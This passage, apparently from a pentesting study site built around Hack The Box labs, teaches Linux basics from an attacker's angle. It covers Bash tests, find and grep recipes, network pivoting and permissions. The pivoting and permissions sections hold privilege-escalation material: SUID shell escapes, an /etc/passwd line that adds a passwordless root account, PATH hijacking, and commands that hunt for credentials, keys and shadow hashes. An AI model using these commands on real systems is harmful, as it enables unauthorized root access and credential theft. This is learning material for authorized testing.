avoid parsing issues. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if [ "$1" != "HackTheBox" ] then echo -e "You need to give 'HackTheBox' as argument." exit 1 elif [ $# -gt 1 ] then echo -e "Too many arguments given." exit 1 else echo -e "Success!" fi ``` `<` and `>` string comparisons work inside `[[ ... ]]`. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ man ascii ``` ### Integer Operators | Operator | Description | | -------- | --------------------------- | | `-eq` | is equal to | | `-ne` | is not equal to | | `-lt` | is less than | | `-le` | is less than or equal to | | `-gt` | is greater than | | `-ge` | is greater than or equal to | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if [ $# -lt 1 ] then echo -e "Number of given arguments is less than 1" exit 1 elif [ $# -gt 1 ] then echo -e "Number of given arguments is greater than 1" exit 1 else echo -e "Number of given arguments equals 1" fi ``` ### File Operators | Operator | Description | | -------- | -------------------------- | | `-e` | file exists | | `-f` | regular file | | `-d` | directory | | `-L` | symbolic link | | `-N` | modified since last read | | `-O` | owned by current user | | `-G` | group matches current user | | `-s` | size greater than 0 | | `-r` | readable | | `-w` | writable | | `-x` | executable | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if [ -e "$1" ] then echo -e "The file exists." exit 0 else echo -e "The file does not exist." exit 2 fi ``` ### Boolean and Logical Operators Use `[[ ... ]]` for boolean-style checks. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if [[ -z $1 ]] then echo -e "Boolean value: True (is null)" exit 1 elif [[ $# > 1 ]] then echo -e "Boolean value: True (is greater than)" exit 1 else echo -e "Boolean value: False (is equal to)" fi ``` | Operator | Description | | -------- | ----------- | | `!` | logical NOT | | `&&` | logical AND | | `\|\|` | logical OR | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} if [[ -e "$1" && -r "$1" ]] then echo -e "We can read the file that has been specified." exit 0 elif [[ ! -e "$1" ]] then echo -e "The specified file does not exist." exit 2 elif [[ -e "$1" && ! -r "$1" ]] then echo -e "We don't have read permission for this file." exit 1 else echo -e "Error occurred." exit 5 fi ``` ## Debugging Bash debugging is usually done with `-x` and `-v`. * `bash -x script.sh` shows each command as it executes. * `bash -x -v script.sh` also shows the code as Bash reads it. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ bash -x CIDR.sh + '[' 0 -eq 0 ']' + echo -e 'You need to specify the target domain.\n' You need to specify the target domain. ``` ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ bash -x -v CIDR.sh #!/bin/bash if [ $# -eq 0 ] then echo -e "You need to specify the target domain.\n" exit 1 fi ``` # Linux Enumeration Checklist Source: https://hackbook.dudji.com/tech/linux/checklist Step-by-step checklist for every Linux box — from initial shell to full pillage. **Phase 1** covers what to do the moment you get a shell. **Phase 2** covers what to do once you have root or elevated access. # Filesystem navigation Source: https://hackbook.dudji.com/tech/linux/filesystem-navigation ## The Mindset The Linux filesystem is enormous. Manually browsing through directories looking for something interesting is a waste of time. Instead, you use tools that let you search with **surgical precision** — by name, by type, by owner, by size, by date, by permission. This skill is critical in two scenarios: * **Post-exploitation enumeration** — finding credentials, configs, and sensitive data after landing on a box * **Privilege escalation** — finding SUID binaries, writable scripts, and misconfigured files *** ## Know Where to Look First Before running any search, know the Linux filesystem layout. These directories are your hunting grounds: | Path | What You'll Find There | | ----------------------- | ------------------------------------------------------- | | `/etc` | Config files — credentials, service settings, usernames | | `/home/*` | User files — SSH keys, bash history, scripts, notes | | `/root` | Root's home — only accessible with root or SUID abuse | | `/var/log` | Logs — cleartext credentials, activity trails | | `/var/www` | Web app files — database credentials in config files | | `/tmp` & `/dev/shm` | Writable by everyone — good for dropping payloads | | `/opt` | Third-party software — often misconfigured or forgotten | | `/proc` | Running process info — environment variables, cmdlines | | `/backup` or `/backups` | Backups — sometimes contain old credentials or configs | *** ## `which` — Is This Tool Available? Before running anything, check what's installed. Knowing whether Python, netcat, wget, or curl are available changes your options. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} which python3 # /usr/bin/python3 which nc # /usr/bin/nc which wget curl gcc # /usr/bin/wget # /usr/bin/curl # (no output = not installed) ``` If a program isn't found, `which` returns nothing. No output = not on the PATH. *** ## `find` — The Surgical Search Tool `find` is the most powerful file search tool on Linux. It searches in real-time and supports a huge range of filters. Slower than `locate`, but always accurate and extremely flexible. ### Syntax ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find ``` ### Core Options | Option | What It Does | | --------------------- | ---------------------------------------- | | `-type f` | Files only | | `-type d` | Directories only | | `-name "*.conf"` | Match by name/extension (case-sensitive) | | `-iname "*.conf"` | Match by name (case-insensitive) | | `-user root` | Files owned by a specific user | | `-group sudo` | Files owned by a specific group | | `-size +20k` | Files larger than 20KB | | `-size -1M` | Files smaller than 1MB | | `-perm -4000` | SUID bit set | | `-perm -2000` | SGID bit set | | `-perm -o+w` | World-writable files | | `-newermt 2024-01-01` | Modified after a specific date | | `-exec {} \;` | Run a command on each result | | `2>/dev/null` | Suppress permission denied errors | ### Practical Examples **Find all config files owned by root, larger than 20KB, modified after 2020:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -type f -name "*.conf" -user root -size +20k -newermt 2020-01-01 -exec ls -al {} \; 2>/dev/null ``` **Find all SUID binaries — check each one against GTFOBins:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -perm -4000 -type f 2>/dev/null ``` **Find world-writable files (potential hijack targets):** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -perm -o+w -type f 2>/dev/null ``` **Find all files owned by a specific user:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -user cry0l1t3 -type f 2>/dev/null ``` **Hunt for credential files by name:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -type f \( -name "*.conf" -o -name "*.config" -o -name "*.ini" -o -name "*.env" -o -name "id_rsa" \) 2>/dev/null ``` **Find recently modified files (last 10 minutes — useful after running an exploit):** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} find / -type f -mmin -10 2>/dev/null ``` Always append `2>/dev/null` to `find` commands. Without it, the terminal floods with "Permission denied" errors that bury your real results. *** ## `locate` — The Fast Search Tool `locate` uses a pre-built database to search instantly across the entire filesystem. Much faster than `find`, but the database may be outdated — it won't show files created since the last `updatedb` run. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Update the database first (requires root) sudo updatedb # Find all .conf files locate *.conf # Find SSH private keys locate id_rsa # Find password files locate password ``` **When to use `locate` vs `find`:** | Situation | Use | | ----------------------------------------------- | -------- | | Quick name-based search across the whole system | `locate` | | Need accurate, real-time results | `find` | | Filtering by permissions, owner, size, date | `find` | | Searching for recently created files | `find` | *** ## `tree` — Visualize Directory Structure When you need to understand how a directory is organized at a glance: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Full tree of current directory tree . # Limit depth tree -L 2 /var/www # Show hidden files tree -a /home/user ``` *** ## High-Value Targets Cheatsheet These are the files and locations that most often yield credentials, keys, or privesc paths: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # SSH private keys find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null # Bash history (commands run by users — often contains passwords) cat ~/.bash_history find /home -name ".bash_history" 2>/dev/null cat /root/.bash_history 2>/dev/null # Database credentials in web app configs find /var/www -name "*.php" -exec grep -l "password\|passwd\|db_pass" {} \; 2>/dev/null find / -name "wp-config.php" 2>/dev/null find / -name "config.php" -o -name ".env" 2>/dev/null # Cron jobs (scheduled tasks — look for writable scripts) cat /etc/crontab ls -la /etc/cron.* crontab -l 2>/dev/null # Readable shadow file? cat /etc/shadow 2>/dev/null # Any backup files containing credentials? find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null # World-writable directories (drop files, hijack scripts) find / -type d -perm -o+w 2>/dev/null ``` `.bash_history` is underrated. Users frequently type passwords directly into commands. Always check history files for every user you can access. *Next: [Output Filtering & Text Processing](/tech/linux/filtering-text-processing) — parsing command output to extract exactly what you need.* # Filtering text processing Source: https://hackbook.dudji.com/tech/linux/filtering-text-processing > Raw command output is noise. Your job is to extract the signal. Master these tools and you'll spend less time staring at walls of text and more time finding what matters. *** ## The Mindset Linux tools follow the Unix philosophy: each command does one thing well, and you chain them together with pipes. The real power isn't in any single command — it's in **combining them**. ## File Descriptors & Redirection Before filtering, understand how data flows in Linux. Every process has three standard streams: | FD | Name | Description | | --- | -------- | ------------------------ | | `0` | `STDIN` | Input fed into a program | | `1` | `STDOUT` | Normal output | | `2` | `STDERR` | Error output | Think of file descriptors like a ticket system — the OS uses the number to know which stream to interact with. ### Redirect Output ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Redirect STDOUT to a file (overwrites) find /etc/ -name shadow > results.txt # Append STDOUT to an existing file find /etc/ -name passwd >> results.txt # Redirect STDERR to /dev/null (silence errors) find / -name "*.conf" 2>/dev/null # Redirect STDOUT and STDERR to separate files find /etc/ -name shadow 1>results.txt 2>errors.txt # Redirect a file into a command as STDIN cat < results.txt ``` ### Pipes Pipes (`|`) take the STDOUT of one command and feed it as STDIN to the next. This is how you build processing chains. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find systemd config files, suppress errors, count results find /etc/ -name "*.conf" 2>/dev/null | grep systemd | wc -l ``` `2>/dev/null` is your best friend. Add it to the end of almost every `find` or enumeration command to keep your output clean. *** ## Filtering & Searching ### `grep` — Pattern Matching The most-used filtering tool. Searches for lines matching a pattern. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find users with bash shell cat /etc/passwd | grep "/bin/bash" # Exclude lines matching a pattern (-v = invert) cat /etc/passwd | grep -v "nologin\|false" # Case-insensitive search grep -i "password" config.php # Recursive search through a directory grep -r "password" /var/www/ 2>/dev/null # Show line numbers grep -n "root" /etc/passwd # Show only the matching part (not the whole line) grep -o "password=[^ ]*" config.txt # Extended regex (use | for OR, + for one-or-more) grep -E "(password|passwd|secret|key)" config.php ``` **Pentest one-liners with grep:** ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Hunt for credentials in web configs grep -r "password" /var/www/ 2>/dev/null grep -r "DB_PASS\|db_password\|mysqli" /var/www/ 2>/dev/null # Find cleartext passwords in logs grep -i "password" /var/log/auth.log 2>/dev/null # Search bash history for sensitive commands grep -i "password\|sudo\|ssh\|curl\|wget" ~/.bash_history ``` *** ## Transforming Output ### `cut` — Extract Specific Fields Splits lines by a delimiter and picks the columns you want. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Extract just usernames from /etc/passwd (field 1, delimiter :) cat /etc/passwd | grep -v "nologin\|false" | cut -d":" -f1 # root # sync # cry0l1t3 # htb-student # Extract username AND shell (fields 1 and 7) cut -d":" -f1,7 /etc/passwd ``` ### `tr` — Translate / Replace Characters ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Replace colons with spaces cat /etc/passwd | tr ":" " " # Before: root:x:0:0:root:/root:/bin/bash # After: root x 0 0 root /root /bin/bash # Convert lowercase to uppercase echo "hello world" | tr "[:lower:]" "[:upper:]" # HELLO WORLD # Delete characters echo "hello 123" | tr -d "[:digit:]" # hello # Replace newlines with spaces (useful for compressing multi-line output) cat /etc/passwd | cut -d: -f1 | tr "\n" " " # root daemon bin sys sync cry0l1t3 htb-student ``` ### `column` — Align Output Into a Table Makes messy output readable. Great after using `tr` to replace delimiters. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Without column -t cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " # root x 0 0 root /root /bin/bash # cry0l1t3 x 1001 1001 /home/cry0l1t3 /bin/bash # htb-student x 1002 1002 /home/htb-student /bin/bash # With column -t cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | column -t # root x 0 0 root /root /bin/bash # cry0l1t3 x 1001 1001 /home/cry0l1t3 /bin/bash # htb-student x 1002 1002 /home/htb-student /bin/bash ``` *** ## Power Tools ### `awk` — Field-Based Processing More powerful than `cut` — can print specific fields, do math, and filter simultaneously. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Print first and last field of each line cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | awk '{print $1, $NF}' # root /bin/bash # cry0l1t3 /bin/bash # htb-student /bin/bash # Print lines where field 3 (UID) equals 0 (root-level accounts) awk -F: '$3 == 0 {print $1}' /etc/passwd ``` ### `sed` — Stream Editor (Find & Replace) ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Replace all occurrences of "bin" with "HTB" cat /etc/passwd | sed 's/bin/HTB/g' # Delete lines matching a pattern sed '/nologin/d' /etc/passwd # Print only lines matching a pattern sed -n '/bash/p' /etc/passwd ``` *** ## Regular Expressions (RegEx) RegEx lets you define flexible search patterns instead of literal strings. ### Key Operators | Operator | Description | Example | | -------- | ---------------------------- | ----------------------------------- | | `.` | Any single character | `p.ss` matches `pass`, `p4ss` | | `*` | Zero or more of the previous | `ba*` matches `b`, `ba`, `baa` | | `+` | One or more of the previous | `ba+` matches `ba`, `baa` | | `?` | Zero or one of the previous | `colou?r` matches `color`, `colour` | | `^` | Start of line | `^root` — lines starting with root | | `$` | End of line | `bash$` — lines ending with bash | | `[abc]` | Any character in the set | `[aeiou]` — any vowel | | `[a-z]` | Character range | `[0-9]` — any digit | | `(a\|b)` | OR — match a or b | `(bash\|sh)` | | `{2,4}` | Repeat 2 to 4 times | `[0-9]{1,3}` | ### Examples with `grep -E` ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Lines containing "my" OR "false" grep -E "(my|false)" /etc/passwd # Lines containing BOTH "my" AND "false" (AND pattern) grep -E "(my.*false)" /etc/passwd # Find IP addresses in a log file grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /var/log/auth.log # Lines that do NOT start with # grep -v "^#" /etc/ssh/sshd_config # Lines ending with "yes" grep -E "yes$" /etc/ssh/sshd_config ``` *** ## Quick Reference | Tool | Primary Use | Key Flag | | --------------- | ---------------------------- | ------------------------------------------------ | | `grep` | Filter lines by pattern | `-v` invert, `-r` recursive, `-E` extended regex | | `cut` | Extract fields by delimiter | `-d` delimiter, `-f` field number | | `tr` | Replace or delete characters | `-d` delete | | `awk` | Field processing and logic | `'{print $1, $NF}'` | | `sed` | Find and replace in streams | `'s/old/new/g'` | | `sort` | Sort output | `-n` numeric, `-r` reverse, `-u` unique | | `wc` | Count results | `-l` lines | | `column` | Format output as table | `-t` | | `head` / `tail` | First or last N lines | `-n` number, `-f` follow | | `less` | Page through output | `q` quit, `/` search | *** *Next: [Permission Analysis](/tech/linux/permissions) — reading permission strings, finding SUID misconfigs, and understanding what sticky bits mean for exploitation.* # Linux Source: https://hackbook.dudji.com/tech/linux/index Linux internals from an offensive security perspective. Step-by-step enumeration and pillaging checklist for every Linux box. Find users, services, kernel details, and the most likely privilege escalation paths. Accounts, groups, sudo rights, and user-based attack paths. PAM, /etc/passwd, /etc/shadow, SSH keys, and sudo. Read/write/execute, SUID/SGID, and permission misconfigurations. Running processes, systemd services, cron, and service attack surface. Interfaces, routing, pivot points, and reachable hosts. Search the filesystem for credentials, configs, and sensitive data. Disks, partitions, mount points, and device files. Log sources, detection surface, and evidence you need to cover. grep, awk, sed, cut, and shell pipelines for extracting the signal. SELinux, AppArmor, patch posture, and hardening gaps. Extract credentials, secrets, and sensitive data once you have access. Variables, loops, functions, and practical automation patterns. # Network configuration Source: https://hackbook.dudji.com/tech/linux/network-configuration ## The Mindset When you land on a box, the network answers three questions: * **Where am I?** — Subnets, interfaces, routing — what segment of the network is this machine on? * **What can I reach?** — Other hosts, internal services, domain controllers, databases * **How do I move?** — Pivot routes, port forwards, dual-homed machines A machine with two network interfaces is almost always a pivot point into a separate network segment. *** ## Network Interfaces ### `ip` — The Modern Tool ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Show all interfaces and IP addresses ip addr ip a # shorthand # Show routing table ip route ip r # Show ARP table (other hosts on the same subnet) ip neigh # Bring an interface up or down sudo ip link set eth0 up sudo ip link set eth0 down ``` ### `ifconfig` — The Legacy Tool Still widely available, useful to know: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ifconfig # eth0: flags=4163 # inet 10.10.10.5 netmask 255.255.255.0 broadcast 10.10.10.255 # inet6 fe80::... # ether 00:50:56:b9:... ``` **What to look for:** | Field | Pentest Relevance | | ------------------- | --------------------------------------------------- | | `inet` | IPv4 address and subnet | | `inet6` | IPv6 — often forgotten, sometimes accessible | | Multiple interfaces | Machine may bridge two networks — pivot opportunity | ### Spot a Dual-Homed Machine ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ip addr | grep "inet " | grep -v "127.0.0.1" # If you see two non-loopback IPs on different subnets: # inet 10.10.10.5/24 ← network 1 (your entry point) # inet 172.16.0.5/24 ← network 2 (new territory to explore) ``` A dual-homed machine means you can use it as a pivot to reach the second subnet. *** ## Routing ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View routing table ip route route -n # legacy # Example output: # default via 10.10.10.1 dev eth0 # 10.10.10.0/24 dev eth0 proto kernel # 172.16.0.0/24 dev eth1 proto kernel ← second network reachable # Add a static route (for pivoting) sudo ip route add 172.16.0.0/24 via 10.10.10.1 ``` ## Active Connections & Open Ports ### `ss` — Socket Statistics (Modern) ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All listening ports ss -tuln # All connections with process names (needs root for full output) ss -tulnp # Established connections only ss -tn state established # Filter by port ss -tuln | grep :3306 # MySQL ss -tuln | grep :5432 # PostgreSQL ss -tuln | grep :6379 # Redis ss -tuln | grep :27017 # MongoDB ``` ### `netstat` — Legacy But Universal ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # All listening ports netstat -tuln # With process names netstat -tulnp # All established connections netstat -tn # Routing table netstat -rn ``` Services bound to `127.0.0.1` are invisible from outside but fully accessible once you're on the box. Always check for internal-only listeners — they're often the least hardened services on the system. *** ## DNS & Host Resolution ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View DNS servers cat /etc/resolv.conf # View local host entries (may reveal internal hostnames) cat /etc/hosts # Resolve a hostname nslookup internal-app.corp.local dig internal-app.corp.local # Reverse DNS lookup (IP → hostname) dig -x 10.10.10.5 ``` *** ## Network Troubleshooting Tools ### `ping` — Host Reachability ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Basic connectivity test ping -c 4 8.8.8.8 ``` ### `traceroute` — Path to a Host ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} traceroute 10.10.10.1 # Each hop = a router or gateway between you and the target # Asterisks (*) = host not responding to ICMP — still exists ``` *** ## Internal Network Discovery Once you have a foothold, map what else is reachable: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # ARP table — hosts that recently communicated with this machine ip neigh arp -a # Quick ping sweep of the local subnet for i in $(seq 1 254); do (ping -c 1 -W 1 10.10.10.$i > /dev/null 2>&1 && echo "10.10.10.$i is up") & done; wait # Port scan from the compromised host (if nmap is available) nmap -sn 10.10.10.0/24 # If you have SSH access to the victim, scan the hidden network from your Kali instead # Step 1 — open a SOCKS proxy through the victim (run on your Kali) ssh -D 1080 user@10.10.10.1 # Step 2 — scan through the tunnel (run on your Kali in a new terminal) # -sT = TCP connect scan, required because proxychains can't forward raw packets proxychains nmap -sT 172.16.0.0/24 # TCP connect scan without nmap (bash) for port in 22 80 443 445 3306 5432 8080; do (echo >/dev/tcp/10.10.10.10/$port) 2>/dev/null && echo "Port $port open" done ``` *** ## Accessing Internal Services via Port Forwarding When you find a service listening on localhost of the target, forward it to your machine: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Local port forward — access target's port 8080 on your localhost:9090 ssh -L 9090:127.0.0.1:8080 user@target # Forward a port on an internal host through the pivot ssh -L 9090:172.16.0.10:80 user@pivot # Dynamic SOCKS proxy — route all traffic through the pivot ssh -D 1080 user@pivot # Then use proxychains: proxychains nmap -sT 172.16.0.0/24 ``` *** ## Network Access Control Understanding what's in place helps you work around it or identify weaknesses: | Mechanism | What It Does | Where to Look | | -------------------------------- | ----------------------------- | ------------------------------------- | | **Firewall (iptables/nftables)** | Filters traffic by port/IP | `iptables -L -n` | | **TCP Wrappers** | Controls service access by IP | `/etc/hosts.allow`, `/etc/hosts.deny` | | **SELinux / AppArmor** | Process-level access control | `sestatus`, `aa-status` | ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # View firewall rules sudo iptables -L -n -v sudo nft list ruleset # TCP Wrappers config cat /etc/hosts.allow cat /etc/hosts.deny # SELinux status sestatus 2>/dev/null # AppArmor status aa-status 2>/dev/null ``` *** ## Configuring Interfaces (When Needed) Occasionally you'll need to configure a network interface — when setting up a pivot or a test environment: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Assign a static IP sudo ip addr add 192.168.1.2/24 dev eth0 # Set default gateway sudo ip route add default via 192.168.1.1 # Edit persistent config (Debian/Ubuntu) sudo vim /etc/network/interfaces # auto eth0 # iface eth0 inet static # address 192.168.1.2 # netmask 255.255.255.0 # gateway 192.168.1.1 # dns-nameservers 8.8.8.8 # Restart networking sudo systemctl restart networking ``` *Next: [Linux Pillaging](/tech/linux/pillaging) — with root privileges, extracting credentials, keys, configs, and sensitive data from every corner of the system.* # Permissions Source: https://hackbook.dudji.com/tech/linux/permissions ## The Mindset As a pentester, you're looking for two things: * **What can I access that I shouldn't?** — World-readable sensitive files, writable system scripts * **What can I run as someone else?** — SUID/SGID binaries, sudo rights, writable cron scripts *** ## Reading Permission Strings Run `ls -l` on any file and you'll see this: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ls -l /etc/passwd -rwxrw-r-- 1 root root 1641 May 4 23:42 /etc/passwd ``` Break it down character by character: ``` - rwx rw- r-- 1 root root 1641 /etc/passwd │ │ │ │ │ │ │ │ │ │ │ │ │ └── Group owner │ │ │ │ │ └──────── User owner │ │ │ │ └───────────── Number of hard links │ │ │ └────────────────── Others' permissions (r--) │ │ └────────────────────── Group's permissions (rw-) │ └────────────────────────── Owner's permissions (rwx) └───────────────────────────── File type ``` ### File Type (First Character) | Symbol | Meaning | | ------ | ---------------- | | `-` | Regular file | | `d` | Directory | | `l` | Symbolic link | | `c` | Character device | | `b` | Block device | | `s` | Socket | | `p` | Named pipe | ### Permission Characters | Symbol | On a File | On a Directory | | ------ | ---------------------- | ----------------------------------- | | `r` | Read the file contents | List directory contents | | `w` | Modify the file | Create, delete, rename files inside | | `x` | Execute the file | Traverse (enter) the directory | | `-` | Permission not granted | Permission not granted | Execute permission on a **directory** doesn't let you run anything — it lets you `cd` into it. Without `x` on a directory, you can't access anything inside even if you have `r`. *** ## Octal Notation Permissions are also expressed as numbers. Each permission has a value: | Permission | Binary | Octal Value | | ------------- | ------ | ----------- | | `r` (read) | 100 | 4 | | `w` (write) | 010 | 2 | | `x` (execute) | 001 | 1 | | `-` (none) | 000 | 0 | Add the values for each group (owner / group / others): ``` rwx = 4+2+1 = 7 rw- = 4+2+0 = 6 r-x = 4+0+1 = 5 r-- = 4+0+0 = 4 --- = 0+0+0 = 0 ``` So `chmod 754` means: ``` 7 = rwx (owner can read, write, execute) 5 = r-x (group can read and execute) 4 = r-- (others can only read) ``` ## Changing Permissions ### `chmod` — Change File Mode ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Symbolic method chmod u+x script.sh # Add execute for owner chmod g-w file.txt # Remove write from group chmod o+r file.txt # Add read for others chmod a+r file.txt # Add read for all (u+g+o) # Octal method chmod 755 script.sh # rwxr-xr-x chmod 600 id_rsa # rw------- (SSH key permissions) chmod 644 config.txt # rw-r--r-- ``` ### `chown` — Change Ownership ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Change owner chown root file.txt # Change owner and group chown root:root file.txt # Recursive (entire directory) chown -R www-data:www-data /var/www/html ``` *** ## SUID & SGID — Privilege Escalation Gold ### What They Are * **SUID (Set User ID)** — When set on an executable, it runs with the **file owner's** privileges, not the caller's. If root owns a SUID binary, anyone who runs it gets root-level execution. * **SGID (Set Group ID)** — Same concept but for groups. They appear as `s` in place of the execute bit: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ls -l /usr/bin/passwd -rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd # ^ # s = SUID bit set, owned by root # anyone running this executes it as root ``` ### Finding SUID/SGID Binaries ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find all SUID binaries find / -perm -4000 -type f 2>/dev/null # Find all SGID binaries find / -perm -2000 -type f 2>/dev/null # Find both at once find / -perm /6000 -type f 2>/dev/null ``` ### What To Do With Them Take every result and check it against **GTFOBins** ([https://gtfobins.github.io/](https://gtfobins.github.io/)). Common SUID abuses: ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # find with SUID find . -exec /bin/sh -p \; -quit # vim with SUID vim -c ':!/bin/sh' # bash with SUID bash -p # cp with SUID — overwrite /etc/passwd cp /etc/passwd /tmp/passwd.bak echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd ``` When you find a SUID binary you don't recognize, Google it before running it. Custom SUID binaries are often vulnerable to path injection, buffer overflows, or argument abuse. *** ## Sticky Bit The sticky bit on a **directory** means only the file's owner (or root) can delete or rename files inside it — even if others have write access to the directory. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ls -l /tmp drwxrwxrwt 10 root root 4096 May 20 12:00 /tmp # ^ # t = sticky bit set WITH execute permission # T = sticky bit set WITHOUT execute permission ``` | Symbol | Meaning | | --------------- | ------------------------------------------- | | `t` (lowercase) | Sticky bit set, execute permission also set | | `T` (uppercase) | Sticky bit set, execute permission NOT set | ## World-Writable Files & Directories World-writable means **any user** can write to it. In a privesc context, this means you can modify a file that a privileged process may later read or execute. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Find world-writable files (excluding /proc and /sys) find / -perm -o+w -type f 2>/dev/null | grep -v "^/proc\|^/sys" # Find world-writable directories find / -perm -o+w -type d 2>/dev/null | grep -v "^/proc\|^/sys" ``` **What to look for:** * World-writable scripts that are called by root-owned cron jobs * World-writable config files for services running as root * World-writable directories in PATH (path hijacking) *** ## PATH Hijacking via Writable Directories If a directory in the system's PATH is world-writable, you can plant a malicious binary that gets executed instead of the real one. ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # Check the PATH echo $PATH # Find writable directories in PATH for dir in $(echo $PATH | tr ':' ' '); do if [ -w "$dir" ]; then echo "$dir is writable by me" fi done # Plant a fake binary (e.g., if a SUID script calls "service" without full path) echo '#!/bin/bash\n/bin/bash -p' > /tmp/service chmod +x /tmp/service export PATH=/tmp:$PATH ``` *** ## Permission Enumeration Checklist ```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}} # 1. Find all SUID binaries → check GTFOBins find / -perm -4000 -type f 2>/dev/null # 2. Find all SGID binaries find / -perm 